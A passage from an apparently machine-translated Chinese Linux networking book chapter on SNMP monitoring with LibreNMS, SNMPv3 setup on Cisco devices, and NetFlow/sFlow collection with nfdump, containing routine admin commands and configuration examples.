树(参见*SNMPv3*一节中的示例)。 不用说,这可能会变成一种“找到我真正想要的数字”的混乱的工作,它会在数百行文本中展开。 - -此外,如您所见,SNMP 树中的每个“节点”都被命名。 如果有适当的定义,就可以通过名称而不是 OID 来查询。 您可能已经在您的 Linux 主机上安装了 MIB-2 定义,因此您也可以导入和管理供应商 MIB 定义。 安装或管理各种 MIB 定义的一种简单方法是使用`snmp-mibs-downloader`包(使用我们熟悉的`apt-get install`方法安装该包)。 - -要安装供应商的 mib,我们可以使用 Cisco(作为示例)。 在安装`snmp-mibs-downloader`后,编辑`/etc/snmp-mibs-downloader/snmp-mibs-downloader.conf`文件并将`cisco`指示符添加到`AUTOLOAD`行。 这一行现在应该如下所示: - -```sh -AUTOLOAD="rfc ianarfc iana cisco" -``` - -在哪里和如何收集思科 mib 的定义在`/etc/snmp-mibs-downloader/cisco.conf`: - -```sh -# Configuarions for Cisco v2 MIBs download from cisco.com -# -HOST=ftp://ftp.cisco.com -ARCHIVE=v2.tar.gz -ARCHTYPE=tgz -ARCHDIR=auto/mibs/v2 -DIR=pub/mibs/v2/ -CONF=ciscolist -DEST=cisco -``` - -单独的 MIB 定义在`/etc/snmp-mibs-downloader/ciscolist`中——正如你所看到的,这个文件太长了,无法在这里列出: - -```sh -# cat :/etc/snmp-mibs-downloaderciscolist | wc -l -1431 -``` - -更新完`snmp-mibs-downloader.conf`文件后,只需运行以下命令: - -```sh -# sudo download-mibs -``` - -您将看到每个 MIB 文件被下载(所有 1431 个文件)。 - -通过加载 MIB 文本描述(默认值在安装`snmp-mibs-downloader`后加载),您现在可以使用文本描述查询 SNMP -在本例中,我们将查询实验室开关的`sysDescr`(系统描述)字段: - -```sh -snmpget -Os -c -v2c 192.168.122.5 SNMPv2-MIB::sysDescr.0 -sysDescr.0 = STRING: SG300-28 28-Port Gigabit Managed Switch -``` - -即使使用描述性字段名,这个过程也会非常迅速地变得非常复杂——这时就要用到**网络管理系统**(**NMS**)。 大多数网管系统都有一个点击式的 web 界面,你可以从 IP 开始,然后通过界面或其他统计信息来获得你想要的信息。 然后,它通常会随着时间的推移,以图形的方式呈现这些信息。 大多数更好的 nms 会找出设备是什么,并创建您通常需要的所有图形,而无需进一步提示。 - -**哪里出问题了?** - -SNMPv2 的明文性质是一个持续存在的问题——许多组织根本就没有转向具有更安全传输的 SNMPv3。 - -更糟糕的是,许多组织只是继续使用默认的 SNMP 团体字串; 也就是“公共的”和“私人的”。 在几乎所有情况下,都不需要对 SNMP 进行读写访问,但人们还是会配置它。 这种情况变得更糟,不仅可以关闭接口或重启设备如果你有读/写访问,但你通常可以获取一个完整的设备配置和访问,甚至还有一个运行 nmap 脚本检索一个思科 IOS 配置。 - -操作上,如果查询设备上的每个接口和统计信息,往往会影响该设备的 CPU。 从历史上看,特别是在开关上,如果查询每个接口,(在操作系统的一个版本或另一个版本上)会发现内存泄漏错误。 这些情况可能非常糟糕,以至于您可以画出内存利用率的图表,并看到这些查询每个查询不返回几个字节的直线增长,最终达到没有足够的内存供设备运行的地步。 - -这些是很明显的建议。 使用 SNMPv3 协议,限制对已知服务器的 SNMP 访问,只查询您需要的接口。 在防火墙和路由器上,这可能包括所有接口,但在交换机上,通常只查询关键服务器的上行链路和接口——特别是管理程序。 - -在介绍了一些理论之后,让我们构建一个流行的基于 linux 的网管——LibreNMS。 - -## SNMP 网管部署示例—LibreNMS - -LibreNMS 是一个由从 Nagios NMS(现在主要是一个商业产品)派生而来的 NMS,对于一个免费的 NMS 应用来说,它具有相当多的功能。 更重要的是,让您的设备注册的学习曲线非常简单,安装可以大大简化。 - -首先,LibreNMS 的安装文档非常完整,涵盖了所有不同的数据库、网站和其他相关组件。 我们不会在这里介绍这些说明,因为它们会随着版本的不同而变化; 最好的来源是供应商的下载页面。 - -但是,与从头安装相比,使用任何一个预先安装的映像并从那里开始安装通常要简单得多。 VMware 和 Hyper-V 都是非常广泛的管理程序,也是许多企业的主要计算平台。 对于这些,LibreNMS 有一个完整的 Ubuntu 安装在预先打包的**Open Virtualization Format**(**OVA**)文件中。 事实上,顾名思义,在部署预构建的 VM 映像时,几乎普遍支持该文件类型。 - -本章举例中,您可以下载并导入 LibreNMS 的 OVA 文件。 您需要查询的设备将与示例不同,这取决于您的环境中的内容,但核心概念将保持不变。 部署 NMS 的一个很大的副作用是,就像日志记录和日志警报一样,您可能会发现自己不知道存在的问题——从过热的 CPU 到以最大容量运行的接口或“太接近最大”容量。 - -### 虚拟机监控程序的细节 - -确保部署 LibreNMS VM 的网络能够访问将要监视的设备。 - -VMware 环境下,该虚拟机的默认磁盘格式为“精简”。 这意味着虚拟磁盘一开始的容量只能容纳其上的文件,然后随着文件存储空间的增加而增加。 这对于实验室/测试 VM 来说很好,但是在生产环境中,您几乎总是需要一个“大容量的”磁盘—您不希望服务器意外地“增长”并耗尽您的存储空间。 这永远不会有好结果,特别是在同一个数据存储中有多个服务器进行精简配置时! - -一旦部署完成,您将需要使用`librenms`帐户登录—该帐户的密码在不同版本中会有所改变,因此请务必参考下载的文档。 登录后,请注意该帐户具有根权限,因此使用`passwd`命令更改`librenms`的密码。 - -使用`ip address`命令获取当前 IP 地址(参见[*第二章*](02.html#_idTextAnchor035),*基本 Linux 网络配置和操作-使用本地接口*)。 认为该主机将使用 SNMP 监控关键设备,你可能想添加 ACL 的这些设备来限制访问 SNMP,鉴于您需要手动设置 IP 地址、子网掩码,网关,DNS 服务器静态值。 您可以使用静态 DHCP 保留来实现这一点,也可以在服务器上静态地分配它——选择您所在组织的标准方法。 - -完成此操作后,使用 HTTP 而不是 HTTPS 浏览到该地址。 考虑到这个服务器上的信息的敏感性,我建议安装一个证书并强制使用 HTTPS,但我们不会在本章中讨论这个问题(尽管 LibreNMS 文档在这方面做了很好的介绍)。 web 登录也是`librenms`,但默认密码会有所不同; 也可以参考您的下载文档。 - -你现在应该有一个**编辑仪表板**启动画面: - -![Figure 12.5 – LibreNMS Edit Dashboard startup screen](img/B16336_12_005.jpg) - -图 12.5 - LibreNMS Edit Dashboard 启动界面 - -在你继续之前,点击屏幕右上方的`librenms`帐户图标: - -![Figure 12.6 – LibreNMS "Account" and "System" icons](img/B16336_12_006.jpg) - -图 12.6 - LibreNMS“帐户”及“系统”图标 - -然后,更新网络帐户的密码: - -![Figure 12.7 – Changing default passwords in LibreNMS](img/B16336_12_007.jpg) - -图 12.7 -在 LibreNMS 中更改默认密码 - -在服务器启动并运行之后,让我们看看如何添加一些要管理的设备。 - -### 搭建 SNMPv2 基本设备 - -要添加最基本的设备,您需要进入那个设备。 您需要启用 SNMP(在本例中是版本 2),然后添加一个团体字符串,希望还可以添加一个 ACL 来限制访问。 例如,在一个典型的思科交换机上,这看起来像这样: - -```sh -ip access-list standard ACL-SNMP - permit 192.168.122.174 - deny any log -snmp-server community ROSNMP RO ACL-SNMP -``` - -就是这样! 注意,我们将`ROSNMP`用于 SNMP Community 字符串—这对于生产环境来说太简单了。 另外,请注意,`RO`参数确保这是只允许只读权限的字符串。 - -现在,回到 LibreNMS,从主仪表盘选择**设备**>**添加设备**: - -![Figure 12.8 – Adding a device to LibreNMS](img/B16336_12_008.jpg) - -图 12.8 -向 LibreNMS 添加设备 - -填写设备的 IP 地址,以及团体字串。 你的屏幕应该看起来像这样(当然是你自己设备的 IP 地址): - -![Figure 12.9 – Adding device details in LibreNMS](img/B16336_12_009.jpg) - -图 12.9 -在 LibreNMS 中添加设备细节 - -现在,您可以通过选择**设备**>**所有设备**浏览到刚刚添加的设备,然后单击您的设备。 - -注意,LibreNMS 已经开始绘制 CPU 和内存利用率,以及整个设备和每个接口的流量。 网络设备(在本例中是防火墙)的默认页面如下所示: - -![Figure 12.10 – Device statistics collected in LibreNMS](img/B16336_12_010.jpg) - -图 12.10 -在 LibreNMS 中收集的设备统计信息 - -当您向下钻取到任何特定的可点击链接或图表时,将显示收集到的统计数据的进一步细节。 通常,即使鼠标在链接上也会显示出详细信息——在这种情况下,通过鼠标在`vmx0`链接上,特定接口的详细信息会显示出来: - -![Figure 12.11 – Mousing over an interface for interface details in LibreNMS](img/B16336_12_011.jpg) - -图 12.11 -在 LibreNMS 中鼠标移到接口上获取接口详细信息 - -我们已经讨论了部署 SNMPv2 的风险,因为它的纯文本性质和简单的身份验证。 让我们通过使用 SNMPv3 来解决这个问题。 - -## SNMPv3 - -SNMP 版本 3 是,配置起来并不复杂。 在大多数情况下,我们采用默认的“只读”SNMP 视图,只添加一个用于身份验证的口令和一个加密密钥。 在设备端,这是一个思科 IOS 配置示例: - -```sh -ip access-list standard ACL-SNMP - permit 192.168.122.174 - deny any log -snmp-server view ViewDefault iso included -snmp-server group GrpMonitoring v3 priv read ViewDefault access ACL-SNMP -snmp-server user snmpadmin GrpMonitoring v3 auth sha AuthPass1 priv aes 128 somepassword -``` - -关键参数如下: - -![](img/B16336_12_Table_05.jpg) - -我们可以使用`snmpwalk`或`snmpget`命令测试。 例如,`snmpwalk`命令提取系统描述值(注意,我们需要在 ACL-SNMP 访问列表中需要调用站的 IP): - -```sh -$ snmpwalk -v3 -l authPriv -u snmpadmin -a SHA -A AuthPass1 -x AES -X somepassword 192.168.122.200:161 1.3.6.1.2.1.1.1.0 -iso.3.6.1.2.1.1.1.0 = STRING: "Cisco IOS Software, CSR1000V Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.5(2)S, RELEASE SOFTWARE (fc3) -Technical Support: http://www.cisco.com/techsupport -Copyright (c) 1986-2015 by Cisco Systems, Inc. -Compiled Sun 22-Mar-15 01:36 by mcpre" -``` - -在网管端,它就像匹配我们在设备上使用的各种配置密码和参数一样简单: - -![Figure 12.12 – Adding a device to the LibreNMS inventory using SNMPv3](img/B16336_12_012.jpg) - -图 12.12 -使用 SNMPv3 向 LibreNMS 目录添加设备 - -在注册之后,我们可以通过编辑设备来固定设备的名称,然后将设备的名称更改为更容易记住的名称,并添加一个 IP 覆盖(网管将使用它进行访问)。 当然,如果设备有一个 DNS 名称,那么使用它的 FQDN 注册它也可以。 依赖 DNS 可能会成为一个问题,但是当 DNS 可能不可用时,您需要 NMS 进行故障排除—实际上,您可能正在进行 DNS 故障排除! - -![Figure 12.13 – Changing the device's name and adding an "Overwrite IP" in LibreNMS](img/B16336_12_013.jpg) - -图 12.13 -在 LibreNMS 中更改设备名称并添加“Overwrite IP - -注意,即使我们添加了真正的身份验证(使用一个散列密码在运输途中)和授权的访问级别(通过添加授权),以及实际数据的加密,我们还添加一个普通访问列表来保护路由器上的 SNMP 服务。 “深度防御”的咒语让我们认为,最好假设一个或多个保护层在某些时候可能会被破坏,因此向任何目标服务添加更多的保护层将会更好地保护它。 - -我们可以通过使用 SNMPv3 发送加密的 SNMP trap 消息来扩展 SNMPv3 的使用,以取代明文 syslog 日志记录。 这使我们的日志服务有些复杂,但这是值得的! - -额外的安全配置可用于 SNMPv3; 您的平台的 CIS 基准通常是一个很好的参考。 如果你只是想深入挖掘,或者你的路由器或交换机没有供应商提供的基准或良好的安全指导,Cisco IOS 的 CIS 基准是一个很好的起点。 - -除了提供额外的保护之外,SNMP 版本 2 和 SNMP 版本 3 之间的底层 SNMP 功能几乎保持不变。 一旦注册到网管系统中,使用 SNMPv2 和 SNMPv3 的设备在系统中不会有任何显著的不同。 - -既然我们正在使用 SNMP 监视所有各种网络连接的设备和服务器,那么我们可以使用 NMS 的轮询引擎添加警报来监视设备或服务的故障吗? - -### 警报 - -你需要做的主要事情之一就是添加一些提醒来配合你的数据。 例如,如果您转到**Alerts**>**Alert Rules**并单击**Create rule from collection**,您将看到以下屏幕: - -![Figure 12.14 – Default alert collection in LibreNMS ](img/B16336_12_014.jpg) - -图 12.14 - LibreNMS 中的默认警报集合 - -让我们添加一个警报,它将在利用率超过 80%的任何接口上触发。 要查看默认集合中是否有类似这样的内容,请在*Search*字段中输入`utili`—当你输入时,搜索范围会缩小: - -![Figure 12.15 – Adding an alert in LibreNMS ](img/B16336_12_015.jpg) - -图 12.15 -在 LibreNMS 中添加警报 - -选择规则; 我们将得到一些选项: - -![Figure 12.16 – Alert rule options in LibreNMS ](img/B16336_12_016.jpg) - -图 12.16 - LibreNMS 中的警报规则选项 - -应该从顶部的开始重命名规则。 如果您决定导入默认规则集,您不希望因为尝试使用重复的规则名而导致失败。 通常,我将命名自定义规则,以便它们以下划线开头; 这确保了排序时它们总是位于规则列表的顶部。 由于我们对集合中的内容进行了复制,所以我们还可以轻松地更改触发警报的百分比。 - -对于**匹配设备、组和位置列表**,事情变得棘手起来。 按照目前的情况,匹配列表中没有任何内容,并且**除了列表**中的所有设备都被设置为**OFF**,因此该规则将不匹配任何内容。 让我们选择我们的设备: - -![Figure 12.17 – Matching devices and groups within an alert rule in LibreNMS ](img/B16336_12_017.jpg) - -图 12.17 -在 LibreNMS 中匹配警报规则中的设备和组 - -现在,保存规则。 是的,就这么简单! - -你有没有注意到前面菜单中的**组**选择? 使用设备组是为所有类似的设备分配一个规则的好方法——例如,您可能对路由器或交换机端口有不同的端口阈值。 这样做的原因是,提高路由器的广域网连接速度可能需要几周的时间,而不是改变交换机端口,这可能只需要将电缆从一个 1G 端口移动到一个 10G 端口(例如)。 因此,在这种情况下,有一个规则为所有路由器(可能是 60%)和一个不同的规则为所有交换机(设置在一些更高的数字)是很有意义的。 - -探索以下规则(您将看到许多您可能希望启用的规则):设备或服务关闭警报、CPU、内存或接口利用率警报以及温度或风扇警报。 其中一些警报依赖于 syslog——是的,LibreNMS 确实内置了一个 syslog 服务器。 **概述**>**Syslog**: - -![Figure 12.18 – Syslog display in LibreNMS ](img/B16336_12_018.jpg) - -图 12.18 - LibreNMS 中的 Syslog 显示 - -请注意,您可以使用一些简单的搜索,但它非常简单。 使用这个 syslog 服务器是一个很好的工具,这样警报就可以监视它——这比我们在本章前面设置的警报要简单得多。 但是,您仍然需要保留我们设置的这些文本日志,以便更好地搜索和更长期的存储。 - -当我们向 NMS 添加设备,或者部署设备并为其命名时,有一些事情我们应该记住。 - -### 添加设备时要记住一些事情 - -当您添加设备和组时,一定要给它们命名,尤其是设备,以便它们按逻辑排序。 命名约定通常使用设备的类型(例如 FW、SW 或 RT)、位置名称的标准(例如分支编号)或城市名称的缩写形式—(例如,CHI、TOR 和 NYC 表示芝加哥、多伦多和纽约市)。 重要的事情是一致性,计划好如何排序,并保持名称中的各种术语简短——记住,您将键入这些东西,它们最终也将出现在电子表格列中。 - -到目前为止,我们主要关注使用 SNMP 监视统计信息。 现在,让我们监视设备上正在运行的服务。 - -### 监控服务 - -请记住,主机上的服务是要监视的关键内容。 在 NMS 中使用类似 nmap 的功能来监视数据库访问、api、web 和 VPN 服务的端口是很常见的。 更高级的监视器将轮询服务,并确保从轮询返回的数据是正确的。 - -在监视服务之前,我们需要启用服务检查。 SSH 到 LibreNMS 主机并编辑`/opt/librenms/config.php`文件。 添加以下一行: - -```sh -$config['show _services'] =1; -``` - -您可能还希望取消注释部分或所有这些`$config`行(以便您可以扫描子网,而不是一次添加一个设备): - -```sh -### List of RFC1918 networks to allow scanning-based discovery -#$config['nets'][] = "10.0.0.0/8"; -#$config['nets'][] = "172.16.0.0/12"; -$config['nets'][] = "192.168.0.0/16"; -``` - -现在,我们将通过在`/etc/cron.d/librenms`文件中添加以下内容来更新应用的 cron 调度程序: - -```sh -*/5 * * * * librenms /opt/librenms/services-wrapper.py 1 -``` - -默认情况下,并不是所有的插件都安装了——事实上,在我的安装中,一个都没有安装。 像这样安装它们: - -```sh -apt-get install nagios-plugins nagios-plugins-extra -``` - -现在,我们应该能够添加一个服务。 选择**Services**>**Add a Service**in LibreNMS and monitor for SSH on our core switch (TCP 端口`22`): - -![Figure 12.19 – Monitoring a basic service in LibreNMS ](img/B16336_12_019.jpg) - -图 12.19 -在 LibreNMS 中监视一个基本服务 - -您可以对此展开—您注意到在添加第一个服务时,列表中有多少个服务检查吗? 让我们为 HTTP 服务添加一个监视器。 在这种情况下,我们将在防火墙上查看它。 这也是监视 SSL VPN 服务的一个方便的检查: - -![Figure 12.20 – Monitoring an HTTPS service in LibreNMS using parameters ](img/B16336_12_020.jpg) - -图 12.20 -使用参数监控 LibreNMS 中的 HTTPS 服务 - -注意,这里的参数很重要。 `-S`表示检查应该使用 SSL(或者更具体地说,TLS)。 `–p 443`表示要轮询的端口。 - -现在,当我们导航到**Services**页面时,我们将看到刚才添加的两个服务。 你可能需要给 LibreNMS 几分钟的时间来轮询他们: - -![Figure 12.21 – Services display in LibreNMS ](img/B16336_12_021.jpg) - -图 12.21 - LibreNMS 中显示的服务 - -可用的插件的完整列表可以直接从**服务配置**页面的下拉菜单中看到: - -![Figure 12.22 – Service checks available in LibreNMS ](img/B16336_12_022.jpg) - -图 12.22 - LibreNMS 中可用的服务检查 - -一些常用的检查包括以下: - -![](img/B16336_12_Table_06.jpg) - -这些检查的所有参数的文档位于[https://www.monitoring-plugins.org/doc/man/index.html](https://www.monitoring-plugins.org/doc/man/index.html)。 - -涵盖了 LibreNMS 系统的基本操作。 现在,让我们继续收集和分析流量。 我们不会使用数据包捕获,而是使用 NetFlow 协议家族将高级流量信息聚合为“流”。 - -# 在 Linux 上收集 NetFlow 数据 - -当看到接口吞吐量不够时,和该怎么做? 通常,这些 SNMP 吞吐量图会告诉您您遇到了问题,但不会将您带到下一步——什么协议或哪些人正在占用所有的带宽? 我是否可以通过配置来解决这个问题,或者我是否需要制定政策来帮助控制我的组织中人们的视频习惯,或者我真的需要更多的带宽? - -我们怎样才能得到这个信息? 它不像 SNMP 那么简单,但是 NetFlow 收集了您可能需要的所有信息,以帮助您成为一个“带宽侦探”。 让我们讨论一下这是如何工作的,以及涉及到哪些协议。 - -## 什么是 NetFlow 和它的“表亲”SFLOW, J-Flow 和 IPFIX? - -如果你还记得在[*第三章*](03.html#_idTextAnchor053),*使用 Linux 和 Linux 工具网络诊断*、【显示】和在[*第 11 章*【病人】,*数据包捕获和分析在 Linux 中*,在](11.html#_idTextAnchor192)我们讨论了包“元组”,这是我们对几乎所有使用这一概念。 NetFlow 是一种服务,它从一个标识的接口(通常在路由器、交换机或防火墙上)收集流量,并对其进行总结。 它收集来总结的信息几乎总是包含我们在本书前面讨论过的核心元组值: - -* 源 IP -* 目的地 IP -* 协议(TCP, UDP, ICMP,或任何其他协议) -* 源端口 -* 目的港 - -然而,正如我们稍后将看到的,现代 NetFlow 配置可以通过添加以下内容来扩展标准元组值: - -* QOS 信息(TOS 或 DSCP 位) -* BGP**自治系统**(**AS**)编号 -* TCP 标志(SYN、ACK 等) - -TCP 标志非常关键,因为第一个包(只有一个 SYN 标志集)定义了在任何对话中哪个主机是客户端,哪个主机是服务器。 - -NetFlow 最初是由思科开发的,但是在 RFC 流程下开发的,以允许业界更广泛地采用,而且除了思科之外,许多供应商都支持 NetFlow。 NetFlow 有两个常见的版本——5 和 9——主要的区别是支持的字段数量。 有一些常见的“表亲”协议: - -* **sFlow**由 InMon 开发作为一个开放标准,并支持 RFC。 我们经常看到网络设备同时支持 NetFlow 和 sFlow。 -* **IPFIX**(**IP 流量信息输出**)是另一个开放标准,它建立在之上,(或多或少)是 NetFlow v9 的一个超集。 -* **J-Flow**是 NetFlow 的等价于 Juniper 设备,尽管在其最新版本(J-Flow v9)中,它看起来与 IPFIX 相同,并且在 Juniper 的特定设备文档中以这种方式记录。 - -无论您使用什么协议来导出流信息,接收此信息的系统通常会接收其中的任何一个或全部。 导出通常在 UDP 端口上。 虽然在某些情况下,端口将在规范中定义,但它总是可以更改的,而且常常会因供应商的不同而不同。 例如,NetFlow 经常出现在端口`2055`、`2056`、`4432`、`9995`或`9996`上。 sFlow 被正式定义为在端口`6343`上,但通常部署在其他端口上。 IPFIX 还没有被广泛使用(除了作为 J-Flow v9),但被指定为在`4739`上。 - -虽然有一些细微的差异(特别是 sFlow,在数据收集和汇总的方式上有一些差异),但结果是相同的。 汇总后,数据被发送到后端服务器,在那里它是可查询的。 在这些数据存储库中,网络管理员寻找和警察侦探一样的东西: - -* **Who**sent the data, and to**Where**? (源和目的 IP) -* **是什么数据(源,特别是目的端口)** -*** **When**is it sent?* **为什么常常推断通过定义的应用被用来发送数据,思科的**基于网络的应用识别**(**NBAR)附加有帮助,或者你经常可以推断出从目的港的应用在服务器端(流)。********* **在每个时间间隔内**发送的数据量。****** - - ****让我们更深入地研究收集、聚合和发送流数据的工作方式,以及它如何在组织的网络中影响您的设计和实现。 - -## 流程收集实现概念 - -所有这些流量收集协议中的一个关键概念是采样。 所有这些协议在其配置中都有一个“每个 y 包对应的 x 包样本”属性,不同的供应商和平台有不同的默认值。 例如,较新的路由器通常会默认为 100%的采样率,因为它们通常是较低带宽的平台(通常低于 100 Mbps),并有 CPU 备份采集率。 在 1G、10G 或更快的开关上,这种速率通常是不实际的——在这些情况下,以合理的速率采样变得至关重要。 - -选择接口也是实现的关键。 与在 SNMP 中一样,在大型交换机的所有端口上收集流信息可能会严重影响交换机的 CPU(及其总体吞吐量)。 不过,在这一点上,你可能会有所不同,因为高端交换机将把遥测功能转移到专用的硅上,以更少地使用主机箱 CPU。 - -选择集合拓扑也很重要。 例如,在一个数据中心/总部/分支机构场景中,如果大部分流量是“hub and spoke”(也就是说,分支到分支的通信很少),那么您可能只会在中心位置收集流数据,并将流收集器放在相同的中心位置。 在这种情况下,分支的流量与总部的流量是相反的,因此通过 WAN 第二次发送流量通常是不明智的,这可能会花费您的带宽费用。 - -的例外是**Voice over IP**(**VoIP**)。 如果你回想一下[*第 11 章*](11.html#_idTextAnchor192),*Linux 上的包捕获和分析*,呼叫建立使用 SIP 协议,是在电话手柄和 PBX 之间。 调用本身使用 RTP,直接从一个手持设备到另一个。 如果有大量的分支到分支的 VoIP 通信,您也可以选择监控分支路由器的广域网接口。 - -最后,请记住,在对这些数据进行采样和聚合的同时,这些数据最终会到达服务器,并必须存储在磁盘上,在磁盘上,这些数据积累得很快。 您可能会发现,当您“找到”创建有意义的报告需要保留多少信息时,您可能不得不相当频繁地增加分区或数据库大小(不幸的是,总是增加)。 - -类似地,随着数据量的增加,对内存和 CPU 的需求也会增加。 你可能会发现,你可以通过在数据库中添加索引来加速报告或网页界面本身。 不幸的是,添加索引通常会消耗额外的磁盘和内存需求,所以也要记住这一点。 随着对需求的深入研究,您将发现数据库管理技能会随着时间的推移而增长,并最终帮助您优化其他以数据库为中心的应用。 - -总是存在将 syslog、SNMP 和流收集组合在一个网络管理服务器上的诱惑。 虽然组合 syslog 和 SNMP 是一件常见的事情,但是如果网管使用一个数据库来存储日志信息,那么您可能需要一个单独的、基于文本的日志存储库—如果只是为了使您的长期日志存储过程保持简单的话。 关于流收集,您几乎总是将其放在一个单独的服务器上。 您可能会在较小的环境中使用“一体化”方法,但是即使是许多较小的环境也会发现用于流收集的资源远远超过其他两个功能。 此外,对后端数据库的依赖和入站数据的高速率意味着这可能会使您的流收集服务器异常地“脆弱”——您可能会发现每年需要重新构建该服务器一次或两次,以修复“无法解释”的问题。 也正因为如此,你会发现它是相当常见的组织切换到一个不同的应用或数据库平台,当这一切发生的时候(除非涉及商业许可),只是因为到那时,他们就知道自己不喜欢前面的构建,因为有一个重建, 测试下一个解决方案的门槛很低。 - -在介绍了所有这些基本流信息之后,让我们构建一个真正的 NetFlow 解决方案,从一个典型的路由器开始。 - -## 配置路由器或交换机进行流量采集 - -首先,我们将定义我们想要收集的内容。 首先,我们需要标准的元组信息——源和目的 IP、协议和端口信息。 我们还会添加 QoS 信息(`ipv4 tos`线),在可能的情况下添加方向和路由信息(`as`信息为 BGP 自治系统信息)。 在这个定义中还有`application name`。 如果你也在运行思科的 NBAR 插件,这主要是使用。 NBAR 是在接口上设置的(你会在下一页看到这个),它帮助通过名称从组成的网络流量中识别应用: - -```sh -flow record FLOW-RECORD-01 - match ipv4 tos - match ipv4 protocol - match ipv4 source address - match ipv4 destination address - match transport source-port - match transport destination-port - match application name - match flow direction - match interface input - match interface output - collect routing source as - collect routing destination as - collect transport tcp flags - collect counter bytes - collect counter packets -``` - -接下来,我们将定义流导出器。 这告诉系统要将流信息发送到哪里,以及从哪个接口发送。 流源很重要,因为如果它发生变化,它将看起来像 NetFlow 服务器上的另一个设备。 另外,请注意,我们在本节中定义了一个接口表,它将发送足够的接口信息,以帮助定义服务器上的主机和接口特征。 注意,流目的端口几乎总是 UDP,但端口号不是标准化的。 厂商通常都有自己的默认值,在我见过的所有实现中,端口号都是可配置的: - -```sh -flow exporter FLOW-EXPORT-01 - destination 10.17.33.187 - source GigabitEthernet0/0/0 - transport udp 9996 - template data timeout 120 - option interface-table - option exporter-stats timeout 120 - option application-table timeout 120 -``` - -正如您在定义中看到的,流监视器将导出器和流记录联系在一起,以便将它们作为一个“东西”应用到接口: - -```sh -flow monitor FLOW-MONITOR-01 - exporter FLOW-EXPORT-01 - cache timeout active 60 - record FLOW-RECORD-01 -``` - -在接口上,您将看到我们定义了一个入站和出站的流监视器。 注意,您可以定义多个记录器和监视器。 通常,只有一个流输出器(因为对于任何给定的设备通常只有一个流目的地)。 - -例如,`bandwidth`语句通常用于帮助定义 OSPF 或 EIGRP 路由协议中的路由器度量。 但是,在流收集的情况下,定义带宽通常会自动配置各个流图的每个接口的总带宽。 定义每个物理接口的总带宽是关键,这样每个图都有一个准确的上限,然后将显示聚合和特定元组统计数据的准确百分比: - -```sh -Interface Gigabit 0/0/1 - bandwidth 100000 - ip nbar protocol-discovery - ip flow monitor FLOW-MONITOR-01 input - ip flow monitor FLOW-MONITOR-01 output -``` - -第二层流收集——例如,在一个单独的交换机端口上——通常要简单得多。 例如,在 HP 交换机上,收集交换机端口上的 sFlow 数据可能如下所示。 - -请注意,端口号是`6343`。 与 NetFlow 不同,sFlow 的默认端口是`6343/udp`。 当然,它是可配置的其他值在客户端和服务器端: - -```sh -sflow 1 destination 10.100.64.135 6343 -interface - sflow 1 sampling 23 50 - sflow 1 polling 23 20 -interface - sflow 1 sampling 23 50 - sflow 1 polling 23 20 -``` - -请注意所定义的采样率和轮询间隔。 另外,请注意,由于您在此实例中是在第 2 层收集流数据,因此您的元组可能受到限制,这取决于您的交换机模型上的。 这也有助于解释为什么配置如此简单——除非开关分解采样帧以获得每个包的 L3/L4 信息,否则要收集的信息就少了。 - -路由器配置完成后,让我们继续构建和配置这个等式的服务器端。 - -## NetFlow 服务器使用 NFDump 和 NFSen - -NFDump 和**NetFlow Sensor**(**NFSen**)使为 nice entrylevel 的流量收集世界。 特别有趣的是,NFDump 使用自己的文件格式,并且命令行工具非常相似的操作 tcpdump(我们在[*第 11 章*【病人】,*数据包捕获和分析在 Linux 中*)。 因此,如果您喜欢我们在那一章中的过滤讨论和示例,那么使用 NFDump 工具来进行“top n”类型的统计和报告将是您的拿手之道!](11.html#_idTextAnchor192) - -NFCapd 是一个流收集器应用。 我们会在前台和后台运行它。 - -NFSen 是 NFDump 的一个简单的 web 前端。 - -我们将在一个独立的 Linux 主机上运行它; 你可以使用我们在本书中一直使用的 Ubuntu 虚拟机或物理主机。 让我们从安装`nfdump`包开始(它为我们提供了几个与 netflow 相关的命令): - -```sh -$ sudo apt-get install nfdump -``` - -现在,编辑`/etc/nfdump/.default.conf`文件,并更改顶部的`options`行: - -```sh -options='-l /var/cache/nfdump/live/source1 -S 1 -p 2055' -``` - -这将把数据放在我们的 NFSen 服务器所期望的位置。 参数`-S`告诉 NFCapd 进程(我们将作为守护进程运行)向路径添加一个日期戳。 因此,2021 年 6 月 23 日,我们捕获的所有 NetFlow 数据将在目录: - -```sh -/var/cache/nfdump/live/source1/2021/06/23 -``` - -如您所料,这些数据往往会迅速累积,这可能有风险,因为`/var`也是日志和其他重要系统数据存储的地方。 在生产环境中,我建议您为此创建一个单独的分区,并将路径根设置为不同的值,比如`/netflow`。 这样,如果您的 NetFlow 流量已满,其他系统服务不会受到直接影响。 - -参数`–p`定义了`nfcapd`进程将要侦听的端口——默认的`2055`在大多数情况下应该工作良好,但是根据需要更改它。 - -现在,我们可以开始使用端口`2055/udp`将 NetFlow 流量定向到这个收集器 IP。 几分钟后,我们可以使用`nfdump`查看 NetFlow 数据。 数据文件在`/var/cache/nfdump/live/source1/`中收集(从那里沿着树一直到今天的日期)。 - -让我们来看看一个文件的前几行: - -```sh -nfdump -r nfcapd.202106212124 | | head -Date first seen Event XEvent Proto Src IP Addr:Port Dst IP Addr:Port X-Src IP Addr:Port X-Dst IP Addr:Port In Byte Out Byte -1970-01-01 00:00:00.000 INVALID Ignore TCP 192.168.122.181:51702 -> 52.0 .134.204:443 0.0.0.0:0 -> 0.0.0.0:0 460 0 -1970-01-01 00:00:00.000 INVALID Ignore TCP 17.57.144.133:5223 -> 192.168 .122.140:63599 0.0.0.0:0 -> 0.0.0.0:0 5080 0 -``` - -注意,每一行都换行。 让我们来看看元组信息以及每个样本间隔中被移动的数据量。 我们将取出列标题: - -```sh -$ nfdump -r nfcapd.202106212124 | head | tr -s " " | cut -d " " -f 5,6,7,8,10,12,13 | grep –v Port -TCP 192.168.122.181:51702 -> 52.0.134.204:443 -> 460 0 -TCP 17.57.144.133:5223 -> 192.168.122.140:63599 -> 5080 0 -TCP 192.168.122.140:63599 -> 17.57.144.133:5223 -> 980 0 -TCP 192.168.122.181:55679 -> 204.154.111.118:443 -> 6400 0 -TCP 192.168.122.181:55080 -> 204.154.111.105:443 -> 920 0 -TCP 192.168.122.151:51201 -> 151.101.126.73:443 -> 460 0 -TCP 31.13.80.8:443 -> 192.168.122.151:59977 -> 14500 0 -TCP 192.168.122.151:59977 -> 31.13.80.8:443 -> 980 0 -TCP 104.124.10.25:443 -> 192.168.122.151:59976 -> 17450 0 -``` - -现在,我们有了看起来像是信息的东西! 我们将两个方向的流量相加`-b`。 我们还将读取目录中所有可用的文件。 现在列是`Protocol`、`Src 